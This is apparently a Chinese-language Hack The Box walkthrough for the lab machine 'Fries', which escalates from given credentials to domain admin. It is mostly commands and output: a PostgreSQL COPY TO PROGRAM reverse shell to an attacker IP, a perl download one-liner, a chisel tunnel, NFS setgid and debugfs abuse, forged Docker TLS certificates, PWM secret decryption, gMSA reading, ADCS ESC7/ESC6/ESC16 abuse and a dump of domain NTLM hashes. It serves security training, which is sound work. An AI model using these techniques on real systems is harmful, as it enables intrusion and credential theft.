基本信息

1
As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account : d.cooper@fries.htb / D4LE11maan!!

端口扫描

22,80,443和常规windows域端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
$ nmap -sC -sV -Pn 10.10.11.96
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-29 08:59 JST
Nmap scan report for 10.10.11.96
Host is up (0.19s latency).
Not shown: 984 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-29 06:32:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-29T06:33:55+00:00; +6h31m07s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
| Not valid before: 2025-06-01T22:06:09
|_Not valid after: 2026-06-01T22:06:09
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
|_ssl-date: 2025-11-29T06:33:55+00:00; +6h31m08s from scanner time.
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
|_ssl-date: 2025-11-29T06:33:55+00:00; +6h31m07s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Not valid before: 2025-11-18T05:39:19
|_Not valid after: 2105-11-18T05:39:19
|_ssl-date: 2025-11-29T06:33:55+00:00; +6h31m08s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h31m07s, deviation: 0s, median: 6h31m06s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-11-29T06:33:15
|_ start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 225.13 seconds

80

添加hosts:

1
10.10.11.96 fries.htb dc01.fries.htb dc01 pwm.fries.htb

餐馆网站:

443

就是pwm:

子域名扫描

子域名可以发现code:

1
2
3
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://fries.htb/" -H "Host: FUZZ.fries.htb" -fs 154

code [Status: 200, Size: 13591, Words: 1048, Lines: 272, Duration: 194ms]

code

是一个gitea

Gitea

给的初始账号密码可以登录,可以看到一个repo:

然后可以在readme的Configuration部分里看到另一个子域名:

1
http://db-mgmt05.fries.htb

以及在commit历史里可以看到数据库密码:

1
2
DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

pgAdmin

添加hosts后访问db-mgmt05.fries.htb是一个pgAdmin,给的初始账号密码可以登录:

然后servers里可以连接数据库,密码就是gitea里得到的那个:

CVE-2025-2945

后面有很多不同方式达成同一目的,例如pgAdmin存在已知漏洞:

1
2
3
4
5
6
7
8
msf > use exploit/multi/http/pgadmin_query_tool_authenticated
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set RHOSTS db-mgmt05.fries.htb
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_NAME ps_db
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_USER root
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set DB_PASS PsqLR00tpaSS11
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set USERNAME d.cooper@fries.htb
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set PASSWORD D4LE11maan!!
msf exploit(multi/http/pgadmin_query_tool_authenticated) > set LHOST 10.10.14.11

打到一个容器内root:

环境变量中可以得到一个密码:

1
2
3
4
5
env
...
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
...

PostgreSQL RCE

因为是PostgreSQL,有可以直接执行系统命令的方法:

1
2
3
4
DROP TABLE IF EXISTS shell;
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'id';
select * from shell;

打到另一个容器内postgres shell:

1
2
3
4
5
6
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.11/4444 0>&1"''';
EXECUTE cmd;
END $$;

容器网段

端口扫描

两个容器获取任意一个即可,然后上传文件,探测容器网段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# copy from mane
./rustscan -a 172.18.0.0/24 --top --accessible

Open 172.18.0.1:22
Open 172.18.0.5:22
Open 172.18.0.1:80
Open 172.18.0.4:80
Open 172.18.0.1:111
Open 172.18.0.1:443

# fullscan
./rustscan -a 172.18.0.1,172.18.0.2,172.18.0.3,172.18.0.4,172.18.0.5 -g -b 5000 -r 1-65535

172.18.0.4 -> [80]
172.18.0.1 -> [22,80,111,443,2049,3000,8443,37721,44415,46501,46603,47599]
172.18.0.5 -> [22,3000]
172.18.0.2 -> [5000]
172.18.0.3 -> [5432,36680]

代理隧道

然后打通代理:

1
2
3
4
5
6
7
# 没curl,wget之类,可以用perl
perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new("10.10.14.11:7777");print $s "GET /chisel_1.7.6_linux_amd64 HTTP/1.0\r\n\r\n";while(<$s>){last if/^\r?\n$/}open F,">chisel_1.7.6_linux_amd64";binmode F;print F while<$s>;close F'

# local
./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
./chisel_1.7.6_linux_amd64 client 10.10.14.11:9999 R:socks

nfs

可以看到172.18.0.1开了nfs,未授权访问,并且可以root escape:

1
2
3
4
5
proxychains4 showmount -e 172.18.0.1

/srv/web.fries.htb *

proxychains4 nxc nfs 172.18.0.1 --shares

直接从容器内访问更稳定:

1
2
3
4
5
6
perl -MIO::Socket::INET -e '$s=IO::Socket::INET->new("10.10.14.11:7777");print $s "GET /nfsclient HTTP/1.0\r\n\r\n";while(<$s>){last if/^\r?\n$/}open F,">nfsclient";binmode F;print F while<$s>;close F' 

# passwd中获取到用户名
proxychains4 nxc nfs 172.18.0.1 --get-file /etc/passwd passwd

svc

web container root

得到的用户名ssh连接,外部22端口对应的就是容器172.18.0.1,密码就是在pgadmin那个容器的env中获取到的:

1
2
ssh svc@10.10.11.96
Friesf00Ds2025!!

nfs & disk group

因为是nfs,可以挂载写入任意id文件,所以可以伪造sgid,在这个环境中可以利用的就是disk组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# target
svc@web:~$ cat /etc/group | grep disk
disk:x:6:
svc@web:/srv/web.fries.htb/shared$ cp /bin/bash .

# local
sudo groupadd -g 6 expdisk
sudo useradd -u 1337 sleep -g 6

# local sleep用户
mkdir mount
proxychains4 sudo mount -t nfs 172.18.0.1:/srv/web.fries.htb mount
# mount/shared
$ cp bash sleep
$ chmod u+s sleep
$ chmod g+s sleep

# target
svc@web:/srv/web.fries.htb/shared$ ./sleep -p

之后就是利用disk组debufgfs读文件:

1
2
3
4
5
6
sleep-5.1$ fdisk -l

Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 14 GiB, 15028191232 bytes, 29351936 sectors

sleep-5.1$ debugfs /dev/mapper/ubuntu--vg-ubuntu--lv
debugfs: cat /root/.ssh/id_rsa

docker

另一种方法是利用docker,nfs里可以看到有个certs目录,查看进程也可以知道docker使用证书认证:

1
2
3
svc@web:~$ ps aux

root 926 0.0 2.6 1955936 77444 ? Ssl 06:03 0:08 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock --authorization-plugin=authz-broker --tlsverify --tlscacert=/etc/docker/certs/ca.pem --tlscert=/etc/docker/certs/server-cert.pem --tlskey=/etc/docker/certs/server-key.pem -H=127.0.0.1:2376

certs目录和上面一样,需要创建对应id用户:

1
2
3
4
5
6
7
# local
sudo groupadd -g 59605603 certs
sudo useradd -u 1337 -g 59605603 cert
sudo -u cert bash
cd certs

# 然后复制证书再打包传上去,以便svc用户可以使用

要使用证书认证,还需要制作一个指定sub的证书:

1
2
3
4
5
6
openssl genrsa -out client-key.pem 4096
openssl req -new -key client-key.pem -out client.csr -subj "/CN=client"
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out client-cert.pem -days 365

# 测试证书认证
docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=127.0.0.1:2376 version

报错提示policy,所以就去读对应policy:

1
2
3
4
5
cat /var/lib/authz-broker/policy.json

{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}
{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}
{"name":"policy_2", "users": ["root"], "actions": [""]}

可以看到root的action是空的,所以可以伪造:

1
2
3
4
5
openssl genrsa -out client-key.pem 4096
openssl req -new -key client-key.pem -out client.csr -subj "/CN=root"
openssl x509 -req -in client.csr -CA ca.pem -CAkey ca-key.pem -CAcreateserial -out client-cert.pem -days 365

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=127.0.0.1:2376 version

这一次没有报错,可以正常与docker交互:

之后就是docker枚举,挂载文件系统:

1
2
3
4
5
docker --tlsverify --tlscacert=ca.pem  --tlscert=client-cert.pem --tlskey=client-key.pem  -H=127.0.0.1:2376  ps -a

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=127.0.0.1:2376 image ls

docker --tlsverify --tlscacert=ca.pem --tlscert=client-cert.pem --tlskey=client-key.pem -H=127.0.0.1:2376 run -it -v /:/miao --rm fries-web sh

user flag

得到web root ssh私钥后ssh登录即可:

pwm & svc_infra

decrypt

scripts目录里可以看到pwm相关的,前面443那里也可以看到pwm,查看配置文件得到密码hash及security key:

1
2
3
4
5
root@web:~/scripts/pwm/config# cat PwmConfiguration.xml 

<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>

<value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value>

也有对应的解密脚本:

替换需要的两个值,运行得到解密后密码:

1
2
3
4
5
grep "<PwmConfiguration" PwmConfiguration.xml | sed 's/^.*createTime[^"]*"\([^"]*\)".*/\1StoredConfiguration/'

2025-06-01T02:07:43ZStoredConfiguration

Decrypted text: {"salt":"v4DuLvUwLbqLOMq21Kgh1DD3LoMvvQqz","value":"m6tneOMAh5p0wQ0d"}

ldap & Responder

另一种方式类似之前的Authority ,修改配置文件中ldap url指向我们的Responder,然后去pwm web随意登录触发认证,得到密码:

bloodhound

现在得到一个有效域账号后,开始bloodhound:

1
2
3
sudo sntp -sS 10.10.11.96

bloodhound-python -u svc_infra -p 'm6tneOMAh5p0wQ0d' -c All -d fries.htb -ns 10.10.11.96 --zip

可以看到很明显的下一步,GMSA:

GMSA to gMSA_CA_prod$

svc_infra读GMSA,得到gMSA_CA_prod$:

1
2
3
nxc ldap 10.10.11.96  -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' --gmsa

LDAP 10.10.11.96 389 DC01 Account: gMSA_CA_prod$ NTLM: fc20b3d3ec179c5339ca59fbefc18f4a PrincipalsAllowedToReadPassword: svc_infra

得到的gMSA_CA_prod$在remote management组中,可以winrm登录:

1
python3 winrmexec.py 'gMSA_CA_prod$'@10.10.11.96 -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a"

ADCS

因为用户名和CA相关,所以看一下ADCS,发现ESC7:

1
2
3
4
5
proxychains4 certipy find -u 'gMSA_CA_prod$'@10.10.11.96 -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a"  -stdout -vulnerable

fries-DC01-CA

Active Policy : CertificateAuthority_MicrosoftDefault.Policy

但如果直接按照教程一步步利用ESC7的话,最后会报权限问题:

ESC7

原因就是上面可以看到启用了一个Active Policy,这条策略禁止了我们修改证书,但我们可以修改CA,所以如果想利用ESC7,需要先修改CA的策略,现成工具暂时无法直接用,修改参考mane,或者直接用这个修改版:

1
2
3
4
5
6
7
8
9
10
11
12
# add officer
certipy ca -u 'gMSA_CA_prod$'@DC01.fries.htb -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a" -target 'DC01.fries.htb' -ca 'fries-DC01-CA' -add-officer 'gMSA_CA_prod$' -target-ip 10.10.11.96 -dc-ip 10.10.11.96

# 请求证书
# 记得保存私钥
certipy req -u 'gMSA_CA_prod$'@DC01.fries.htb -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a" -target 'DC01.fries.htb' -ca 'fries-DC01-CA' -template 'SubCA' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500' -target-ip 10.10.11.96 -dc-ip 10.10.11.96

# 批准证书
certipy ca -u 'gMSA_CA_prod$'@DC01.fries.htb -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a" -target 'DC01.fries.htb' -ca 'fries-DC01-CA' -issue-request '43' -target-ip 10.10.11.96 -dc-ip 10.10.11.96

# 获取被批准的证书
certipy req -u 'gMSA_CA_prod$'@DC01.fries.htb -hashes ":fc20b3d3ec179c5339ca59fbefc18f4a" -target 'DC01.fries.htb' -ca 'fries-DC01-CA' -template 'SubCA' -upn 'administrator@fries.htb' -sid 'S-1-5-21-858338346-3861030516-3975240472-500' -retrieve '43' -target-ip 10.10.11.96 -dc-ip 10.10.11.96

得到证书后就是证书认证了:

1
2
3
4
5
sudo sntp -sS 10.10.11.96

certipy auth -pfx administrator.pfx -username administrator -dc-ip 10.10.11.96

[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748

ESC6 + ESC16

另一种方式就是利用ESC7创造ESC6和ESC16:

1
2
3
4
5
6
7
Import-Module PSPKI

# 激活esc16
$CA=New-Object -ComObject CertificateAuthority.Admin;$Config="DC01.fries.htb\fries-DC01-CA";$CA.SetConfigEntry($Config,"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy","DisableExtensionList","1.3.6.1.4.1.311.25.2");

# 激活esc6
$CA = New-Object -ComObject CertificateAuthority.Admin;$Config = "DC01.fries.htb\fries-DC01-CA";$newflags = $CA.GetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags") -bor 0x40000;$CA.SetConfigEntry($Config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $newFlags);

验证激活成功:

之后就是一样的按照教程一步步利用了

root flag

Administrator hash登录:

1
python3 winrmexec.py 'administrator@10.10.11.96' -hashes ":a773cb05d79273299a684a23ede56748"

hashdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
python3 examples/secretsdump.py administrator@10.10.11.96 -hashes :a773cb05d79273299a684a23ede56748 -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce86e3842ffc9a775d2a356c60eac9c3:::
fries.htb\w.earl:2613:aad3b435b51404eeaad3b435b51404ee:ee2e704309cf4a26a4686a9d56489bf4:::
fries.htb\d.cooper:2614:aad3b435b51404eeaad3b435b51404ee:50232f4444bc8fd6cfda4b3e1b715663:::
fries.htb\b.horne:2615:aad3b435b51404eeaad3b435b51404ee:9cead10842a333fa049d4bc65cc55865:::
fries.htb\b.briggs:2616:aad3b435b51404eeaad3b435b51404ee:cf1ec47b3cf4e869d5c8b7138c07bae4:::
fries.htb\s.johnson:2617:aad3b435b51404eeaad3b435b51404ee:6e34ce1188061a026b8fb680d4a0ec9e:::
fries.htb\j.hurley:2618:aad3b435b51404eeaad3b435b51404ee:e3fa3f2a91ee7f8451fd1d0338e65355:::
fries.htb\h.truman:2619:aad3b435b51404eeaad3b435b51404ee:f9ac987d61cb1cf5649f82bc52778c3e:::
fries.htb\d.lynch:2620:aad3b435b51404eeaad3b435b51404ee:327641bc7f835d4be5f7dd5e602e8df4:::
fries.htb\l.palmer:2621:aad3b435b51404eeaad3b435b51404ee:1d44c7eb22b8c76b072f83fb07a56af3:::
fries.htb\l.johnson:2622:aad3b435b51404eeaad3b435b51404ee:a191c320a175dbe32cba7c58ede45ec7:::
fries.htb\h.jennings:2623:aad3b435b51404eeaad3b435b51404ee:b36354d4de8b39c31e13c950e969fbab:::
fries.htb\svc_infra:3601:aad3b435b51404eeaad3b435b51404ee:3bf3a1986ea9ae5b54a5725847a2adcc:::
fries.htb\d.wilson:5601:aad3b435b51404eeaad3b435b51404ee:b97330f3044941930b3667fa9888d5e3:::
fries.htb\m.hannigan:5602:aad3b435b51404eeaad3b435b51404ee:e2c1ce7011b7564d594367b06ca2428c:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:ba380858b63611eaadb906e8e5b55e3e:::
gMSA_CA_prod$:1104:aad3b435b51404eeaad3b435b51404ee:fc20b3d3ec179c5339ca59fbefc18f4a:::
FRIES.HTB\WEB$:4601:aad3b435b51404eeaad3b435b51404ee:61e3599900d7a81c373bcbaaa755bdb2:::

参考资料